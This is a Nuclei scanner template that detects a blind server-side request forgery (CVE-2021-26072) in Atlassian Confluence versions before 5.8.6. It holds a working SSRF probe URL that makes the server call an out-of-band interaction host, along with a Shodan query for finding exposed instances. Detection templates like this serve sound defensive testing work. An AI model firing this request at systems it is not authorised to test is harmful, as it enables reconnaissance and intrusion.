id: confluence-ssrf-sharelinks

info:
  name: Atlassian Confluence < 5.8.6 Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: Atlassian Confluence < 5.8.6 is affected by a blind server-side request forgery vulnerability in the widgetconnector plugin.
  remediation: Upgrade to Atlassian Confluence version 5.8.6 or later.
  reference:
    - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
    - https://github.com/assetnote/blind-ssrf-chains#confluence
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26072
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cwe-id: CWE-918
  metadata:
    max-request: 1
    shodan-query: http.component:"Atlassian Confluence"
  tags: confluence,atlassian,ssrf,oast

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "faviconURL"
          - "domain"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0c5feb634d49955650554d604c5136e08bf8fde784d0eab1900f6533f648d4b02207a694bc3cfced18b0e1480b4f8a7c72ebedc8e533222675eccf7ec44f351cc68:922c64590222798bb761d5b6d8e72950